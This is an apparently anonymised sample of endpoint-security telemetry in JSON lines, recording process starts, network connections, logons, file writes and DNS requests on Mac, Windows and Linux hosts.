-{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} -{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} -{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} -{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} -{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} -{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} -{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} -{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} -{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} -{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} -{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} -{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} -{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} 